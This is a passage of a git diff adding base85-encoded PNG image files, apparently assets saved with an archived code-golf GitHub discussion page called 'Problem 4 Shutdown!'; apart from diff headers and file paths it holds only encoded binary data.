zBu$PXES3PVYeIl^oNZj_S6@Id)`4hz@Cy`&zXHl87lkn^B0@iibqyDD*3b(uV$L^V z6s;gfSOFVG;$hS9Pk=R>Z4h!iL|G9RMyU$#7wPNPz%t92~e$C zw}Jrau6|ga8kO^gTEL+)8^qc=A}a|{P@x}87y$n5LoL86oBFoEz7ZI(6{;qak5d}n z3W#}65GMszLI+E*QPe=VbZ7;L@IjZR_C)VQf+Q=7H6IvC0n?9AA=iyAP8fs^&=91V z9OnH)DIkxy+{ST3j5*=k(It7_>s#mkgwdfBAjbYgSS$|czxIv;IuxX7yB%`H&(NWlgnp#8zSOQkEr`{mUyLJ86Y&Gm|* zdL(8Hm$@kNXbvhMyHA(}tOX;%^e)b6TQ(nMSi;GQYnu3o}0pytQ zy|G6C6ubwKl`G&J-uv_QVFI~<_9-hs6`A?6xj9O@{a5K#pclSZgCjqBpesv{ZUBIY z;zHM+Dz>i!{`mh~z(w1iO-I(HzhsSUwA$YOmp5K8y?-YYGrMJ{Sh*z564&kjN)_m( zLwi+`BNF<~&&q}3+~n+iQ&0GFs={x`)wDkN(DUEl@^Yi*JpH#fo%d&m=>MvKAH4sY zZ;4HQGkJbJzCEHIup(1m<^@zf6DM&TXR(8Brx{d%?rT*!x&i>wcfK`3WvrAf&My4Q zbgT0-lRNbnwoU7&@%hCHAN|n>o_jHW;Q9OK4>kVqpSS)rP~x64a<_dk5%tXKX=0xr4d>+dtjCw-^=V`7bws02wF zTm%B5Z4TB>cZZ@2iY5C(ca%;4r>QGcKmh3q7KL1#G@&&xrGUBJlYQlp~gc)C*zk;8y z?4V%hyFqk?UuZ{FpqI=00q6G%_f@Dn!tzh!2Zs zYXPaxoYq%?yfA?g;Y2XmDD~+@9-8?Sw~c8vV@*6;J>=xw24aK@1OS&J_!b{@f&%*qFf; zcx?7&_I2Khl*T~}s;AJsfFu=Y)p&67b~cRf;WYPJue)7x548rh+_Ru?*XTESVCrlN ztqylK7xenjV$xVsBlPjL=H)z9yBdj05GJUeYWD&nn9^y?Pq+E(^zZXKW7`O&c~tnh zI*VTU)zNS9CE1P#0Oo*?@B0$B3EVxm$o1unROqoUU(b%IJ5d*7itEVrRDC3718ix6 zms^{-XXbNg@AAu^yjN};+sdQ8@I6kumW7e6+@zkT>rIZBThKC}nYw@ZXb%epIkle& zN|a#=qdePqH(#9p6ae)W9iQ`^(QomSz9?B~wf#VXjjZT&Q=AGqex7jE3SU}x!ibNc~3 z)deW|^moxt1DjNKlfC2OogW(iHYdpLZR?-5$;kP}#s8>{dHn1?-dNt`P5v9|9dD3Y S39%yp0000}sP)qc!vaE-#a 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/33086936_002.png b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/33086936_002.png new file mode 100644 index 0000000000000000000000000000000000000000..b4cec26428712bb24144157c935f076a96cf6c31 GIT binary patch literal 1183 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 JPDHLkV1jIY-|hea literal 0 HcmV?d00001 diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827.png b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827.png new file mode 100644 index 0000000000000000000000000000000000000000..63f1955c493175f08505d2858d3b0760857ad073 GIT binary patch literal 2838 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..c3d50169893d86d397594dacdbcf7a1f2ab28289 GIT binary patch literal 1536 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 